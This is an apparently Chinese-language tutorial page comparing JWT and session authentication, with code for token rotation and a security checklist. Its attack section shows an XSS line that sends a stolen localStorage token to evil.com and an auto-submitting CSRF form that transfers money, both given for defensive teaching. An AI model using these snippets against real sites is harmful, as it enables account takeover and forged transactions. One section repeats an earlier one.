Skip to content

D14 · JWT vs Session 认证

对应主课: L22 JWT 认证 最后核对: 2026-04-01


1. 核心区别

维度SessionJWT
状态有状态(服务端存储)无状态(客户端存储)
存储位置服务端内存/Redis客户端 localStorage/Cookie
扩展性需要共享 Session(Redis)天然支持分布式
注销删除 Session 即可困难(Token 签发后无法撤销)
体积Cookie 很小(Session ID)Token 较大(含用户信息)
CSRF使用 Cookie → 有 CSRF 风险不用 Cookie → 无 CSRF
XSSCookie httpOnly 可防localStorage 有 XSS 风险

2. JWT 结构

eyJhbGciOiJIUzI1NiJ9.eyJ1c2VySWQiOiIxMjMiLCJleHAiOjE2OTk5OTk5OTl9.签名
└── Header ──────────┘└── Payload ─────────────────────────────────┘└── Signature ┘
json
// Header: 算法和类型
{ "alg": "HS256", "typ": "JWT" }

// Payload: 用户数据(不要放密码!)
{ "userId": "123", "role": "admin", "exp": 1699999999 }

// Signature: 防篡改
HMAC-SHA256(base64(header) + "." + base64(payload), secret)

⚠️ JWT Payload 不是加密的! 任何人都可以 base64 解码读取内容。它只是签名防篡改。


3. JWT 的痛点与解决

3.1 Token 无法撤销

问题:用户修改密码后,旧 Token 仍然有效
解决方案:
  1. 短过期时间(15min) + Refresh Token
  2. 服务端维护 Token 黑名单(Redis)
  3. Token 版本号(数据库存 tokenVersion)

3.2 双 Token 策略

typescript
// Access Token: 短期(15min),用于 API 认证
const accessToken = jwt.sign({ userId }, SECRET, { expiresIn: '15m' })

// Refresh Token: 长期(7d),用于刷新 Access Token
const refreshToken = jwt.sign({ userId }, REFRESH_SECRET, { expiresIn: '7d' })

3.3 存储位置选择

位置XSS 风险CSRF 风险
localStorage❌ 高✅ 无
httpOnly Cookie✅ 低❌ 高
内存 (变量)✅ 低✅ 无

推荐:Access Token 存内存/localStorage,Refresh Token 存 httpOnly Cookie。


4. 何时选哪个

场景推荐
SPA + API 后端✅ JWT
传统服务端渲染✅ Session
微服务架构✅ JWT(无状态)
需要即时注销✅ Session
移动端 App✅ JWT
第三方 API✅ JWT (OAuth)

5. 动手实验:解码 JWT

把下面代码粘贴到浏览器控制台,理解 JWT 为什么"不是加密":

javascript
// ===== 实验:JWT 解码 =====
// 这是一个真实的 JWT(来自 jwt.io 示例)
const token = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiIxMjMiLCJyb2xlIjoiYWRtaW4iLCJleHAiOjE3MDAwMDAwMDB9.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c'

const [header, payload, signature] = token.split('.')

// Base64 解码 — 任何人都能做!
console.log('Header:', JSON.parse(atob(header)))
// { alg: "HS256", typ: "JWT" }

console.log('Payload:', JSON.parse(atob(payload)))
// { userId: "123", role: "admin", exp: 1700000000 }

// ⚠️ 所以永远不要在 JWT 里放密码、密钥等敏感信息!
// JWT 的签名只是防篡改 — 你改了 payload,签名就对不上了

6. 攻击场景理解

XSS 窃取 localStorage Token

javascript
// 如果页面存在 XSS 漏洞,攻击者注入的脚本可以:
const stolenToken = localStorage.getItem('accessToken')
// 发送到攻击者的服务器
fetch('https://evil.com/steal?token=' + stolenToken)
// → 攻击者拿到 Token,可以冒充用户

// 防御:Refresh Token 放 httpOnly Cookie(JS 无法读取)
html
<!-- 如果 Token 存在 Cookie 中,攻击者诱导用户访问 evil.com -->
<!-- evil.com 的页面上有个隐形表单:-->
<form action="https://your-api.com/transfer" method="POST">
  <input type="hidden" name="to" value="attacker" />
  <input type="hidden" name="amount" value="10000" />
</form>
<script>document.forms[0].submit()</script>
<!-- 浏览器自动带上 Cookie → API 通过认证 → 转账成功! -->

<!-- 防御:SameSite Cookie + CSRF Token -->

最佳组合防御


7. Token 轮换(Rotation)

防止 Refresh Token 泄露后被无限续期:

typescript
// 服务端 refresh 逻辑
async function refresh(req, res) {
  const oldRefreshToken = req.cookies.refreshToken
  
  // 1. 验证旧 Token
  const payload = jwt.verify(oldRefreshToken, REFRESH_SECRET)
  
  // 2. 检查是否在黑名单中(已被使用过的 Token)
  if (await redis.get(`blacklist:${oldRefreshToken}`)) {
    // 🚨 Token 重放攻击!旧 Token 被使用了两次
    // 立即吊销该用户的所有 Token
    await redis.set(`revoke:user:${payload.userId}`, true)
    return res.status(401).json({ error: 'Token 已被吊销' })
  }
  
  // 3. 将旧 Token 加入黑名单
  await redis.set(`blacklist:${oldRefreshToken}`, true, 'EX', 7 * 86400)
  
  // 4. 签发全新的 Token 对
  const newAccessToken = jwt.sign({ userId: payload.userId }, SECRET, { expiresIn: '15m' })
  const newRefreshToken = jwt.sign({ userId: payload.userId }, REFRESH_SECRET, { expiresIn: '7d' })
  
  // 5. 设置 httpOnly Cookie
  res.cookie('refreshToken', newRefreshToken, {
    httpOnly: true,
    secure: true,
    sameSite: 'strict',
    maxAge: 7 * 24 * 60 * 60 * 1000,
  })
  
  res.json({ accessToken: newAccessToken })
}

8. 何时选哪个

场景推荐
SPA + API 后端✅ JWT
传统服务端渲染✅ Session
微服务架构✅ JWT(无状态)
需要即时注销✅ Session
移动端 App✅ JWT
第三方 API✅ JWT (OAuth)

9. 生产环境安全检查清单

  • [ ] Access Token 有效期 ≤ 15 分钟
  • [ ] Refresh Token 存 httpOnly + Secure + SameSite Cookie
  • [ ] 已实现 Token Rotation(每次 refresh 颁发新 Token)
  • [ ] JWT Payload 不含敏感信息(密码、密钥)
  • [ ] 全站 HTTPS
  • [ ] 登录接口有速率限制(Rate Limiting)
  • [ ] 支持强制注销(Token 版本号或黑名单)

10. 总结

  • JWT 是无状态认证,适合 SPA 和分布式系统
  • Session 是有状态认证,注销更可控
  • JWT 的核心问题是"无法撤销",用双 Token + 短有效期 + Rotation 缓解
  • 生产环境 JWT 必须配合 HTTPS、httpOnly Cookie(Refresh Token)、短有效期
  • XSS 和 CSRF 是两种不同的攻击向量,Token 存储位置决定了你面对哪种风险